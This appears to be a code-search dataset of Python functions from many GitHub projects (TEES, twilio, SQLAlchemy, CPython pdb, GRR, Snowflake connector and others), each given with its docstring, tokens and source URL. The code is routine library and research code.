def buildMTMXFeatures(self, e1, e2): names = self.getMTMXAttrs(e1, e2, "mtmxName") self.setFeature("mtmxNames-" + "-".join(names)) if names[0] == names[1]: if names[0] in ["", "none"]: self.setFeature("mtmxNames-both_unknown") else: self.setFeature("mtmxNames-both_identical") self.setFeature("mtmxShortNames-" + "-".join(self.getMTMXAttrs(e1, e2, "mtmxNameShort"))) mtmxCuis = self.getMTMXAttrs(e1, e2, "mtmxCui") for mtmxCui in mtmxCuis: self.setFeature("mtmxCui_" + mtmxCui) self.setFeature("mtmxCuis-" + "-".join(mtmxCuis)) # Probabilities rv = self.getMTMXAttrs(e1, e2, "mtmxProb") if rv[0] in ["", "none"]: rv[0] = "0" if rv[1] in ["", "none"]: rv[1] = "0" rv[0] = int(rv[0]) rv[1] = int(rv[1]) assert rv[0] <= 1000 and rv[1] <= 1000, (rv[0], rv[1]) rv.sort() self.setFeature("mtmxProbMin", float(rv[0]) / 1000.0) self.setFeature("mtmxProbMax", float(rv[1]) / 1000.0) # Semtypes sem = self.getMTMXAttrs(e1, e2, "mtmxSemTypes") #print sem for i in sem[0].split(","): for j in sem[1].split(","): semPair = [i, j] semPair.sort() #print "semPair", semPair self.setFeature("semPair-" + "-".join(semPair)) self.setFeature("semType-" + i) self.setFeature("semType-" + j)

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https://github.com/jbjorne/TEES/blob/caf19a4a1352ac59f5dc13a8684cc42ce4342d9d/ExampleBuilders/FeatureBuilders/DrugFeatureBuilder.py#L96-L129

twilio/twilio-python

6e1e811ea57a1edfadd5161ace87397c563f6915

twilio/rest/voice/v1/byoc_trunk.py

python

ByocTrunkInstance.voice_method

(self)

return self._properties['voice_method']

:returns: The HTTP method to use with voice_url :rtype: unicode

[ ":", "returns", ":", "The", "HTTP", "method", "to", "use", "with", "voice_url", ":", "rtype", ":", "unicode" ]

def voice_method(self): """ :returns: The HTTP method to use with voice_url :rtype: unicode """ return self._properties['voice_method']

[ "def", "voice_method", "(", "self", ")", ":", "return", "self", ".", "_properties", "[", "'voice_method'", "]" ]

https://github.com/twilio/twilio-python/blob/6e1e811ea57a1edfadd5161ace87397c563f6915/twilio/rest/voice/v1/byoc_trunk.py#L390-L395

saimadhu-polamuri/DataAspirant_codes

4adfdad255a90ef39fca1bf83a927ffb129dda78

text_preprocessing_techniques/scripts/preprocessing.py

python

Preprocess.emoticons_words

(self, text)

return text

Return :- string after converting emoticons to words Input :- String Output :- String

[ "Return", ":", "-", "string", "after", "converting", "emoticons", "to", "words", "Input", ":", "-", "String", "Output", ":", "-", "String" ]

def emoticons_words(self, text): """ Return :- string after converting emoticons to words Input :- String Output :- String """ for emot in EMOTICONS: emoticon_pattern = r'('+emot+')' # replace emoticon_words = EMOTICONS[emot] replace_text = emoticon_words.replace(",","") replace_text = replace_text.replace(":","") replace_text_list = replace_text.split() emoticon_name = '_'.join(replace_text_list) text = re.sub(emoticon_pattern, emoticon_name, text) return text

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https://github.com/saimadhu-polamuri/DataAspirant_codes/blob/4adfdad255a90ef39fca1bf83a927ffb129dda78/text_preprocessing_techniques/scripts/preprocessing.py#L265-L280

pymedusa/Medusa

1405fbb6eb8ef4d20fcca24c32ddca52b11f0f38

medusa/providers/torrent/html/anidex.py

python

AniDexProvider.random_sixteen

()

return ''.join(random.choice( string.ascii_uppercase + string.ascii_lowercase + string.digits ) for _ in range(16))

Create 16 character string, for cookies. This will bypass DDos-guard.net protection

Create 16 character string, for cookies.

[ "Create", "16", "character", "string", "for", "cookies", "." ]

def random_sixteen(): """ Create 16 character string, for cookies. This will bypass DDos-guard.net protection """ return ''.join(random.choice( string.ascii_uppercase + string.ascii_lowercase + string.digits ) for _ in range(16))

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https://github.com/pymedusa/Medusa/blob/1405fbb6eb8ef4d20fcca24c32ddca52b11f0f38/medusa/providers/torrent/html/anidex.py#L53-L61

albertz/music-player

d23586f5bf657cbaea8147223be7814d117ae73d

mac/pyobjc-framework-Quartz/Examples/Programming with Quartz/BasicDrawing/AppDrawing.py

python

doJPEGDocumentWithMultipleProfiles

(context)

[]

def doJPEGDocumentWithMultipleProfiles(context): url = GetURL(kOurSubstituteJPG) if url is not None: Images.drawJPEGDocumentWithMultipleProfiles(context, url)

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https://github.com/albertz/music-player/blob/d23586f5bf657cbaea8147223be7814d117ae73d/mac/pyobjc-framework-Quartz/Examples/Programming with Quartz/BasicDrawing/AppDrawing.py#L123-L127

eirannejad/pyRevit

49c0b7eb54eb343458ce1365425e6552d0c47d44

site-packages/sqlalchemy/orm/events.py

python

InstanceEvents.init

(self, target, args, kwargs)

Receive an instance when its constructor is called. This method is only called during a userland construction of an object, in conjunction with the object's constructor, e.g. its ``__init__`` method. It is not called when an object is loaded from the database; see the :meth:`.InstanceEvents.load` event in order to intercept a database load. The event is called before the actual ``__init__`` constructor of the object is called. The ``kwargs`` dictionary may be modified in-place in order to affect what is passed to ``__init__``. :param target: the mapped instance. If the event is configured with ``raw=True``, this will instead be the :class:`.InstanceState` state-management object associated with the instance. :param args: positional arguments passed to the ``__init__`` method. This is passed as a tuple and is currently immutable. :param kwargs: keyword arguments passed to the ``__init__`` method. This structure *can* be altered in place. .. seealso:: :meth:`.InstanceEvents.init_failure` :meth:`.InstanceEvents.load`

Receive an instance when its constructor is called.

[ "Receive", "an", "instance", "when", "its", "constructor", "is", "called", "." ]

def init(self, target, args, kwargs): """Receive an instance when its constructor is called. This method is only called during a userland construction of an object, in conjunction with the object's constructor, e.g. its ``__init__`` method. It is not called when an object is loaded from the database; see the :meth:`.InstanceEvents.load` event in order to intercept a database load. The event is called before the actual ``__init__`` constructor of the object is called. The ``kwargs`` dictionary may be modified in-place in order to affect what is passed to ``__init__``. :param target: the mapped instance. If the event is configured with ``raw=True``, this will instead be the :class:`.InstanceState` state-management object associated with the instance. :param args: positional arguments passed to the ``__init__`` method. This is passed as a tuple and is currently immutable. :param kwargs: keyword arguments passed to the ``__init__`` method. This structure *can* be altered in place. .. seealso:: :meth:`.InstanceEvents.init_failure` :meth:`.InstanceEvents.load` """

[ "def", "init", "(", "self", ",", "target", ",", "args", ",", "kwargs", ")", ":" ]

https://github.com/eirannejad/pyRevit/blob/49c0b7eb54eb343458ce1365425e6552d0c47d44/site-packages/sqlalchemy/orm/events.py#L227-L256

twisted/twisted

dee676b040dd38b847ea6fb112a712cb5e119490

src/twisted/trial/runner.py

python

isPackageDirectory

(dirname)

return False

Is the directory at path 'dirname' a Python package directory? Returns the name of the __init__ file (it may have a weird extension) if dirname is a package directory. Otherwise, returns False

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def isPackageDirectory(dirname): """ Is the directory at path 'dirname' a Python package directory? Returns the name of the __init__ file (it may have a weird extension) if dirname is a package directory. Otherwise, returns False """ def _getSuffixes(): return importlib.machinery.all_suffixes() for ext in _getSuffixes(): initFile = "__init__" + ext if os.path.exists(os.path.join(dirname, initFile)): return initFile return False

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https://github.com/twisted/twisted/blob/dee676b040dd38b847ea6fb112a712cb5e119490/src/twisted/trial/runner.py#L64-L78

TheSouthFrog/stylealign

910632d2fccc9db61b00c265ae18a88913113c1d

util/buffer.py

python

BufferedWrapper.__next__

(self)

return result

[]

def __next__(self): result = self.buffer_.get() self._async_next() return result

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https://github.com/TheSouthFrog/stylealign/blob/910632d2fccc9db61b00c265ae18a88913113c1d/util/buffer.py#L17-L20

ESCOMP/CESM

4e21488773baa1bd9fb06fb8750db9f9bd12b705

manage_externals/manic/repository_svn.py

python

SvnRepository.__init__

(self, component_name, repo, ignore_ancestry=False)

Parse repo (a <repo> XML element).

[ "Parse", "repo", "(", "a", "<repo", ">", "XML", "element", ")", "." ]

def __init__(self, component_name, repo, ignore_ancestry=False): """ Parse repo (a <repo> XML element). """ Repository.__init__(self, component_name, repo) self._ignore_ancestry = ignore_ancestry if self._branch: self._url = os.path.join(self._url, self._branch) elif self._tag: self._url = os.path.join(self._url, self._tag) else: msg = "DEV_ERROR in svn repository. Shouldn't be here!" fatal_error(msg)

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https://github.com/ESCOMP/CESM/blob/4e21488773baa1bd9fb06fb8750db9f9bd12b705/manage_externals/manic/repository_svn.py#L40-L52

jython/jython3

def4f8ec47cb7a9c799ea4c745f12badf92c5769

lib-python/3.5.1/idlelib/SearchDialogBase.py

python

SearchDialogBase.create_command_buttons

(self)

Place buttons in vertical command frame gridded on right.

[ "Place", "buttons", "in", "vertical", "command", "frame", "gridded", "on", "right", "." ]

def create_command_buttons(self): "Place buttons in vertical command frame gridded on right." f = self.buttonframe = Frame(self.top) f.grid(row=0,column=2,padx=2,pady=2,ipadx=2,ipady=2) b = self.make_button("close", self.close) b.lower()

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https://github.com/jython/jython3/blob/def4f8ec47cb7a9c799ea4c745f12badf92c5769/lib-python/3.5.1/idlelib/SearchDialogBase.py#L173-L179

cloudera/hue

23f02102d4547c17c32bd5ea0eb24e9eadd657a4

desktop/core/ext-py/boto-2.46.1/boto/cloudsearch/domain.py

python

Domain.index_documents

(self)

Tells the search domain to start indexing its documents using the latest text processing options and IndexFields. This operation must be invoked to make options whose OptionStatus has OptioState of RequiresIndexDocuments visible in search results.

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def index_documents(self): """ Tells the search domain to start indexing its documents using the latest text processing options and IndexFields. This operation must be invoked to make options whose OptionStatus has OptioState of RequiresIndexDocuments visible in search results. """ self.layer1.index_documents(self.name)

[ "def", "index_documents", "(", "self", ")", ":", "self", ".", "layer1", ".", "index_documents", "(", "self", ".", "name", ")" ]

https://github.com/cloudera/hue/blob/23f02102d4547c17c32bd5ea0eb24e9eadd657a4/desktop/core/ext-py/boto-2.46.1/boto/cloudsearch/domain.py#L224-L232

PaddlePaddle/Research

2da0bd6c72d60e9df403aff23a7802779561c4a1

NLP/EMNLP2019-MAL/src/beam_search.py

python

BeamSearch.grow_finished

(self, i, finished_seq, finished_scores, finished_flags, curr_seq, curr_scores, curr_finished)

return self.compute_topk_scores_and_seq(curr_finished_seq, curr_finished_scores, curr_finished_scores, curr_finished_flags, pick_finish=True)

grow_finished

[ "grow_finished" ]

def grow_finished(self, i, finished_seq, finished_scores, finished_flags, curr_seq, curr_scores, curr_finished): """ grow_finished """ finished_seq = layers.concat([finished_seq, layers.fill_constant([self.batch_size, self.beam_size, 1], dtype='int64', value=0)], axis=2) curr_scores = curr_scores + (1.0 - layers.cast(curr_finished, 'int64')) * -INF curr_finished_seq = layers.concat([finished_seq, curr_seq], axis=1) curr_finished_scores = layers.concat([finished_scores, curr_scores], axis=1) curr_finished_flags = layers.concat([finished_flags, curr_finished], axis=1) return self.compute_topk_scores_and_seq(curr_finished_seq, curr_finished_scores, curr_finished_scores, curr_finished_flags, pick_finish=True)

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https://github.com/PaddlePaddle/Research/blob/2da0bd6c72d60e9df403aff23a7802779561c4a1/NLP/EMNLP2019-MAL/src/beam_search.py#L142-L159

python/cpython

e13cdca0f5224ec4e23bdd04bb3120506964bc8b

Lib/pdb.py

python

Pdb.lookupmodule

(self, filename)

return None

Helper function for break/clear parsing -- may be overridden. lookupmodule() translates (possibly incomplete) file or module name into an absolute file name.

Helper function for break/clear parsing -- may be overridden.

[ "Helper", "function", "for", "break", "/", "clear", "parsing", "--", "may", "be", "overridden", "." ]

def lookupmodule(self, filename): """Helper function for break/clear parsing -- may be overridden. lookupmodule() translates (possibly incomplete) file or module name into an absolute file name. """ if os.path.isabs(filename) and os.path.exists(filename): return filename f = os.path.join(sys.path[0], filename) if os.path.exists(f) and self.canonic(f) == self.mainpyfile: return f root, ext = os.path.splitext(filename) if ext == '': filename = filename + '.py' if os.path.isabs(filename): return filename for dirname in sys.path: while os.path.islink(dirname): dirname = os.readlink(dirname) fullname = os.path.join(dirname, filename) if os.path.exists(fullname): return fullname return None

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https://github.com/python/cpython/blob/e13cdca0f5224ec4e23bdd04bb3120506964bc8b/Lib/pdb.py#L1601-L1623

baidu/knowledge-driven-dialogue

ba85518a1ac2a57988188fc5f2b8fe42e1facf64

generative_pt/network.py

python

main

()

main

[ "main" ]

def main(): """ main """ config = model_config() if config.check: config.save_dir = "./tmp/" config.use_gpu = torch.cuda.is_available() and config.gpu >= 0 device = config.gpu torch.cuda.set_device(device) # Data definition corpus = KnowledgeCorpus(data_dir=config.data_dir, data_prefix=config.data_prefix, min_freq=0, max_vocab_size=config.max_vocab_size, min_len=config.min_len, max_len=config.max_len, embed_file=config.embed_file, with_label=config.with_label, share_vocab=config.share_vocab) corpus.load() if config.test and config.ckpt: corpus.reload(data_type='test') train_iter = corpus.create_batches( config.batch_size, "train", shuffle=True, device=device) valid_iter = corpus.create_batches( config.batch_size, "valid", shuffle=False, device=device) test_iter = corpus.create_batches( config.batch_size, "test", shuffle=False, device=device) # Model definition model = KnowledgeSeq2Seq(src_vocab_size=corpus.SRC.vocab_size, tgt_vocab_size=corpus.TGT.vocab_size, embed_size=config.embed_size, hidden_size=config.hidden_size, padding_idx=corpus.padding_idx, num_layers=config.num_layers, bidirectional=config.bidirectional, attn_mode=config.attn, with_bridge=config.with_bridge, tie_embedding=config.tie_embedding, dropout=config.dropout, use_gpu=config.use_gpu, use_bow=config.use_bow, use_dssm=config.use_dssm, use_pg=config.use_pg, use_gs=config.use_gs, pretrain_epoch=config.pretrain_epoch, use_posterior=config.use_posterior, weight_control=config.weight_control, concat=config.decode_concat) model_name = model.__class__.__name__ # Generator definition generator = TopKGenerator(model=model, src_field=corpus.SRC, tgt_field=corpus.TGT, cue_field=corpus.CUE, max_length=config.max_dec_len, ignore_unk=config.ignore_unk, length_average=config.length_average, use_gpu=config.use_gpu) # Interactive generation testing if config.interact and config.ckpt: model.load(config.ckpt) return generator # Testing elif config.test and config.ckpt: print(model) model.load(config.ckpt) print("Testing ...") metrics, scores = evaluate(model, test_iter) print(metrics.report_cum()) print("Generating ...") evaluate_generation(generator, test_iter, save_file=config.gen_file, verbos=True) else: # Load word embeddings if config.use_embed and config.embed_file is not None: model.encoder.embedder.load_embeddings( corpus.SRC.embeddings, scale=0.03) model.decoder.embedder.load_embeddings( corpus.TGT.embeddings, scale=0.03) # Optimizer definition optimizer = getattr(torch.optim, config.optimizer)( model.parameters(), lr=config.lr) # Learning rate scheduler if config.lr_decay is not None and 0 < config.lr_decay < 1.0: lr_scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer=optimizer, factor=config.lr_decay, patience=1, verbose=True, min_lr=1e-5) else: lr_scheduler = None # Save directory date_str, time_str = datetime.now().strftime("%Y%m%d-%H%M%S").split("-") result_str = "{}-{}".format(model_name, time_str) if not os.path.exists(config.save_dir): os.makedirs(config.save_dir) # Logger definition logger = logging.getLogger(__name__) logging.basicConfig(level=logging.DEBUG, format="%(message)s") fh = logging.FileHandler(os.path.join(config.save_dir, "train.log")) logger.addHandler(fh) # Save config params_file = os.path.join(config.save_dir, "params.json") with open(params_file, 'w') as fp: json.dump(config.__dict__, fp, indent=4, sort_keys=True) print("Saved params to '{}'".format(params_file)) logger.info(model) # Train logger.info("Training starts ...") trainer = Trainer(model=model, optimizer=optimizer, train_iter=train_iter, valid_iter=valid_iter, logger=logger, generator=generator, valid_metric_name="-loss", num_epochs=config.num_epochs, save_dir=config.save_dir, log_steps=config.log_steps, valid_steps=config.valid_steps, grad_clip=config.grad_clip, lr_scheduler=lr_scheduler, save_summary=False) if config.ckpt is not None: trainer.load(file_prefix=config.ckpt) trainer.train() logger.info("Training done!") # Test logger.info("") trainer.load(os.path.join(config.save_dir, "best")) logger.info("Testing starts ...") metrics, scores = evaluate(model, test_iter) logger.info(metrics.report_cum()) logger.info("Generation starts ...") test_gen_file = os.path.join(config.save_dir, "test.result") evaluate_generation(generator, test_iter, save_file=test_gen_file, verbos=True)

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".", "bidirectional", ",", "attn_mode", "=", "config", ".", "attn", ",", "with_bridge", "=", "config", ".", "with_bridge", ",", "tie_embedding", "=", "config", ".", "tie_embedding", ",", "dropout", "=", "config", ".", "dropout", ",", "use_gpu", "=", "config", ".", "use_gpu", ",", "use_bow", "=", "config", ".", "use_bow", ",", "use_dssm", "=", "config", ".", "use_dssm", ",", "use_pg", "=", "config", ".", "use_pg", ",", "use_gs", "=", "config", ".", "use_gs", ",", "pretrain_epoch", "=", "config", ".", "pretrain_epoch", ",", "use_posterior", "=", "config", ".", "use_posterior", ",", "weight_control", "=", "config", ".", "weight_control", ",", "concat", "=", "config", ".", "decode_concat", ")", "model_name", "=", "model", ".", "__class__", ".", "__name__", "# Generator definition", "generator", "=", "TopKGenerator", "(", "model", "=", "model", ",", "src_field", "=", "corpus", ".", "SRC", ",", "tgt_field", "=", "corpus", ".", "TGT", ",", "cue_field", "=", "corpus", ".", "CUE", ",", "max_length", "=", "config", ".", "max_dec_len", ",", "ignore_unk", "=", "config", ".", "ignore_unk", ",", "length_average", "=", "config", ".", "length_average", ",", "use_gpu", "=", "config", ".", "use_gpu", ")", "# Interactive generation testing", "if", "config", ".", "interact", "and", "config", ".", "ckpt", ":", "model", ".", "load", "(", "config", ".", "ckpt", ")", "return", "generator", "# Testing", "elif", "config", ".", "test", "and", "config", ".", "ckpt", ":", "print", "(", "model", ")", "model", ".", "load", "(", "config", ".", "ckpt", ")", "print", "(", "\"Testing ...\"", ")", "metrics", ",", "scores", "=", "evaluate", "(", "model", ",", "test_iter", ")", "print", "(", "metrics", ".", "report_cum", "(", ")", ")", "print", "(", "\"Generating ...\"", ")", "evaluate_generation", "(", "generator", ",", "test_iter", ",", "save_file", "=", "config", ".", "gen_file", ",", "verbos", "=", "True", ")", "else", ":", "# Load word embeddings", "if", "config", ".", "use_embed", "and", "config", ".", "embed_file", "is", "not", "None", ":", "model", ".", "encoder", ".", "embedder", ".", "load_embeddings", "(", "corpus", ".", "SRC", ".", "embeddings", ",", "scale", "=", "0.03", ")", "model", ".", "decoder", ".", "embedder", ".", "load_embeddings", "(", "corpus", ".", "TGT", ".", "embeddings", ",", "scale", "=", "0.03", ")", "# Optimizer definition", "optimizer", "=", "getattr", "(", "torch", ".", "optim", ",", "config", ".", "optimizer", ")", "(", "model", ".", "parameters", "(", ")", ",", "lr", "=", "config", ".", "lr", ")", "# Learning rate scheduler", "if", "config", ".", "lr_decay", "is", "not", "None", "and", "0", "<", "config", ".", "lr_decay", "<", "1.0", ":", "lr_scheduler", "=", "torch", ".", "optim", ".", "lr_scheduler", ".", "ReduceLROnPlateau", "(", "optimizer", "=", "optimizer", ",", "factor", "=", "config", ".", "lr_decay", ",", "patience", "=", "1", ",", "verbose", "=", "True", ",", "min_lr", "=", "1e-5", ")", "else", ":", "lr_scheduler", "=", "None", "# Save directory", "date_str", ",", "time_str", "=", "datetime", ".", "now", "(", ")", ".", "strftime", "(", "\"%Y%m%d-%H%M%S\"", ")", ".", "split", "(", "\"-\"", ")", "result_str", "=", "\"{}-{}\"", ".", "format", "(", "model_name", ",", "time_str", ")", "if", "not", "os", ".", "path", ".", "exists", "(", "config", ".", "save_dir", ")", ":", "os", ".", "makedirs", "(", "config", ".", "save_dir", ")", "# Logger definition", "logger", "=", "logging", ".", "getLogger", "(", "__name__", ")", "logging", ".", "basicConfig", "(", "level", "=", "logging", ".", "DEBUG", ",", "format", "=", "\"%(message)s\"", ")", "fh", "=", "logging", ".", "FileHandler", "(", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"train.log\"", ")", ")", "logger", ".", "addHandler", "(", "fh", ")", "# Save config", "params_file", "=", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"params.json\"", ")", "with", "open", "(", "params_file", ",", "'w'", ")", "as", "fp", ":", "json", ".", "dump", "(", "config", ".", "__dict__", ",", "fp", ",", "indent", "=", "4", ",", "sort_keys", "=", "True", ")", "print", "(", "\"Saved params to '{}'\"", ".", "format", "(", "params_file", ")", ")", "logger", ".", "info", "(", "model", ")", "# Train", "logger", ".", "info", "(", "\"Training starts ...\"", ")", "trainer", "=", "Trainer", "(", "model", "=", "model", ",", "optimizer", "=", "optimizer", ",", "train_iter", "=", "train_iter", ",", "valid_iter", "=", "valid_iter", ",", "logger", "=", "logger", ",", "generator", "=", "generator", ",", "valid_metric_name", "=", "\"-loss\"", ",", "num_epochs", "=", "config", ".", "num_epochs", ",", "save_dir", "=", "config", ".", "save_dir", ",", "log_steps", "=", "config", ".", "log_steps", ",", "valid_steps", "=", "config", ".", "valid_steps", ",", "grad_clip", "=", "config", ".", "grad_clip", ",", "lr_scheduler", "=", "lr_scheduler", ",", "save_summary", "=", "False", ")", "if", "config", ".", "ckpt", "is", "not", "None", ":", "trainer", ".", "load", "(", "file_prefix", "=", "config", ".", "ckpt", ")", "trainer", ".", "train", "(", ")", "logger", ".", "info", "(", "\"Training done!\"", ")", "# Test", "logger", ".", "info", "(", "\"\"", ")", "trainer", ".", "load", "(", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"best\"", ")", ")", "logger", ".", "info", "(", "\"Testing starts ...\"", ")", "metrics", ",", "scores", "=", "evaluate", "(", "model", ",", "test_iter", ")", "logger", ".", "info", "(", "metrics", ".", "report_cum", "(", ")", ")", "logger", ".", "info", "(", "\"Generation starts ...\"", ")", "test_gen_file", "=", "os", ".", "path", ".", "join", "(", "config", ".", "save_dir", ",", "\"test.result\"", ")", "evaluate_generation", "(", "generator", ",", "test_iter", ",", "save_file", "=", "test_gen_file", ",", "verbos", "=", "True", ")" ]

https://github.com/baidu/knowledge-driven-dialogue/blob/ba85518a1ac2a57988188fc5f2b8fe42e1facf64/generative_pt/network.py#L104-L215

ShuaiW/teach-machine-to-trade

19dfc2c6537e61ac6eb0102caeb5ed6d32454f99

model.py

python

mlp

(n_obs, n_action, n_hidden_layer=1, n_neuron_per_layer=32, activation='relu', loss='mse')

return model

A multi-layer perceptron

[ "A", "multi", "-", "layer", "perceptron" ]

def mlp(n_obs, n_action, n_hidden_layer=1, n_neuron_per_layer=32, activation='relu', loss='mse'): """ A multi-layer perceptron """ model = Sequential() model.add(Dense(n_neuron_per_layer, input_dim=n_obs, activation=activation)) for _ in range(n_hidden_layer): model.add(Dense(n_neuron_per_layer, activation=activation)) model.add(Dense(n_action, activation='linear')) model.compile(loss=loss, optimizer=Adam()) print(model.summary()) return model

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https://github.com/ShuaiW/teach-machine-to-trade/blob/19dfc2c6537e61ac6eb0102caeb5ed6d32454f99/model.py#L7-L17

rembo10/headphones

b3199605be1ebc83a7a8feab6b1e99b64014187c

lib/html5lib/inputstream.py

python

EncodingBytes.__next__

(self)

return self[p:p + 1]

[]

def __next__(self): p = self._position = self._position + 1 if p >= len(self): raise StopIteration elif p < 0: raise TypeError return self[p:p + 1]

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https://github.com/rembo10/headphones/blob/b3199605be1ebc83a7a8feab6b1e99b64014187c/lib/html5lib/inputstream.py#L582-L588

Georce/lepus

5b01bae82b5dc1df00c9e058989e2eb9b89ff333

lepus/pymongo-2.7/pymongo/mongo_replica_set_client.py

python

MongoReplicaSetClient.use_greenlets

(self)

return self.__use_greenlets

Whether calling :meth:`start_request` assigns greenlet-local, rather than thread-local, sockets. .. versionadded:: 2.4.2

Whether calling :meth:`start_request` assigns greenlet-local, rather than thread-local, sockets.

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def use_greenlets(self): """Whether calling :meth:`start_request` assigns greenlet-local, rather than thread-local, sockets. .. versionadded:: 2.4.2 """ return self.__use_greenlets

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https://github.com/Georce/lepus/blob/5b01bae82b5dc1df00c9e058989e2eb9b89ff333/lepus/pymongo-2.7/pymongo/mongo_replica_set_client.py#L914-L920

google/grr

8ad8a4d2c5a93c92729206b7771af19d92d4f915

grr/server/grr_response_server/flows/general/filesystem.py

python

ListDirectory.NotifyAboutEnd

(self)

Sends a notification that this flow is done.

[ "Sends", "a", "notification", "that", "this", "flow", "is", "done", "." ]

def NotifyAboutEnd(self): """Sends a notification that this flow is done.""" if not self.state.urn: super().NotifyAboutEnd() return st = self.state.stat ps_path_type = st.pathspec.last.pathtype path_type = rdf_objects.PathInfo.PathTypeFromPathspecPathType(ps_path_type) full_path = st.pathspec.CollapsePath() path_components = full_path.strip("/").split("/") file_ref = rdf_objects.VfsFileReference( client_id=self.client_id, path_type=path_type, path_components=path_components) notification.Notify( self.creator, rdf_objects.UserNotification.Type.TYPE_VFS_LIST_DIRECTORY_COMPLETED, "Listed {0}".format(full_path), rdf_objects.ObjectReference( reference_type=rdf_objects.ObjectReference.Type.VFS_FILE, vfs_file=file_ref))

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https://github.com/google/grr/blob/8ad8a4d2c5a93c92729206b7771af19d92d4f915/grr/server/grr_response_server/flows/general/filesystem.py#L161-L186

LabPy/lantz

3e878e3f765a4295b0089d04e241d4beb7b8a65b

lantz/drivers/legacy/andor/ccd.py

python

CCD.n_horiz_shift_speeds

(self, channel=0, typ=None)

return n.value

As your Andor SDK system is capable of operating at more than one horizontal shift speed this function will return the actual number of speeds available. Parameters int channel: the AD channel. int typ: output amplification. Valid values: 0 electron multiplication. 1 conventional. int* speeds: number of allowed horizontal speeds

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def n_horiz_shift_speeds(self, channel=0, typ=None): """ As your Andor SDK system is capable of operating at more than one horizontal shift speed this function will return the actual number of speeds available. Parameters int channel: the AD channel. int typ: output amplification. Valid values: 0 electron multiplication. 1 conventional. int* speeds: number of allowed horizontal speeds """ if typ is None: typ = self.amp_typ n = ct.c_int() self.lib.GetNumberHSSpeeds(ct.c_int(channel), ct.c_int(typ), ct.pointer(n)) return n.value

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https://github.com/LabPy/lantz/blob/3e878e3f765a4295b0089d04e241d4beb7b8a65b/lantz/drivers/legacy/andor/ccd.py#L1465-L1484

mnot/nbhttp

80389f168f3bb3f0dbc7f6aee648e3286eed0a7a

src/server.py

python

test_handler

(method, uri, hdrs, res_start, req_pause)

return dummy, dummy

An extremely simple (and limited) server request_handler.

[ "An", "extremely", "simple", "(", "and", "limited", ")", "server", "request_handler", "." ]

def test_handler(method, uri, hdrs, res_start, req_pause): """ An extremely simple (and limited) server request_handler. """ code = "200" phrase = "OK" res_hdrs = [('Content-Type', 'text/plain')] res_body, res_done = res_start(code, phrase, res_hdrs, dummy) res_body('foo!') res_done(None) return dummy, dummy

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https://github.com/mnot/nbhttp/blob/80389f168f3bb3f0dbc7f6aee648e3286eed0a7a/src/server.py#L283-L293

snarfed/granary

ab085de2aef0cff8ac31a99b5e21443a249e8419

granary/facebook.py

python

Facebook._find_all_text

(soup, regexp)

return soup.find_all(lambda tag: any(regexp.match(c.string.strip()) for c in tag.contents if c.string))

BeautifulSoup utility that searches for text and returns a Tag. I'd rather just use soup.find(string=...), but it returns a NavigableString instead of a Tag, and I need a Tag so I can look at the elements inside it. https://www.crummy.com/software/BeautifulSoup/bs4/doc/#the-string-argument Args: soup: BeautifulSoup regexp: string, must match target's text after stripping whitespace

BeautifulSoup utility that searches for text and returns a Tag.

[ "BeautifulSoup", "utility", "that", "searches", "for", "text", "and", "returns", "a", "Tag", "." ]

def _find_all_text(soup, regexp): """BeautifulSoup utility that searches for text and returns a Tag. I'd rather just use soup.find(string=...), but it returns a NavigableString instead of a Tag, and I need a Tag so I can look at the elements inside it. https://www.crummy.com/software/BeautifulSoup/bs4/doc/#the-string-argument Args: soup: BeautifulSoup regexp: string, must match target's text after stripping whitespace """ regexp = re.compile(regexp) return soup.find_all(lambda tag: any(regexp.match(c.string.strip()) for c in tag.contents if c.string))

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https://github.com/snarfed/granary/blob/ab085de2aef0cff8ac31a99b5e21443a249e8419/granary/facebook.py#L1697-L1710

snowflakedb/snowflake-connector-python

1659ec6b78930d1f947b4eff985c891af614d86c

src/snowflake/connector/auth_webbrowser.py

python

AuthByWebBrowser._process_options

(self, data, socket_client)

return True

Allows JS Ajax access to this endpoint.

[ "Allows", "JS", "Ajax", "access", "to", "this", "endpoint", "." ]

def _process_options(self, data, socket_client): """Allows JS Ajax access to this endpoint.""" for line in data: if line.startswith("OPTIONS "): break else: return False self._get_user_agent(data) requested_headers, requested_origin = self._check_post_requested(data) if not requested_headers: return False if not self._validate_origin(requested_origin): # validate Origin and fail if not match with the server. return False self._origin = requested_origin content = [ "HTTP/1.1 200 OK", "Date: {}".format( time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime()) ), "Access-Control-Allow-Methods: POST, GET", "Access-Control-Allow-Headers: {}".format(requested_headers), "Access-Control-Max-Age: 86400", "Access-Control-Allow-Origin: {}".format(self._origin), "", "", ] socket_client.sendall("\r\n".join(content).encode("utf-8")) return True

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https://github.com/snowflakedb/snowflake-connector-python/blob/1659ec6b78930d1f947b4eff985c891af614d86c/src/snowflake/connector/auth_webbrowser.py#L167-L198

pyinvoke/invoke

45dc9d03639dac5b6d1445831bf270e686ef88b4

invoke/watchers.py

python

Responder.pattern_matches

(self, stream, pattern, index_attr)

return matches

Generic "search for pattern in stream, using index" behavior. Used here and in some subclasses that want to track multiple patterns concurrently. :param unicode stream: The same data passed to ``submit``. :param unicode pattern: The pattern to search for. :param unicode index_attr: The name of the index attribute to use. :returns: An iterable of string matches. .. versionadded:: 1.0

Generic "search for pattern in stream, using index" behavior.

[ "Generic", "search", "for", "pattern", "in", "stream", "using", "index", "behavior", "." ]

def pattern_matches(self, stream, pattern, index_attr): """ Generic "search for pattern in stream, using index" behavior. Used here and in some subclasses that want to track multiple patterns concurrently. :param unicode stream: The same data passed to ``submit``. :param unicode pattern: The pattern to search for. :param unicode index_attr: The name of the index attribute to use. :returns: An iterable of string matches. .. versionadded:: 1.0 """ # NOTE: generifies scanning so it can be used to scan for >1 pattern at # once, e.g. in FailingResponder. # Only look at stream contents we haven't seen yet, to avoid dupes. index = getattr(self, index_attr) new_ = stream[index:] # Search, across lines if necessary matches = re.findall(pattern, new_, re.S) # Update seek index if we've matched if matches: setattr(self, index_attr, index + len(new_)) return matches

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https://github.com/pyinvoke/invoke/blob/45dc9d03639dac5b6d1445831bf270e686ef88b4/invoke/watchers.py#L78-L102

apache/libcloud

90971e17bfd7b6bb97b2489986472c531cc8e140

libcloud/compute/drivers/vultr.py

python

VultrNodeDriverV2.list_volumes

(self)

return [self._to_volume(item) for item in data]

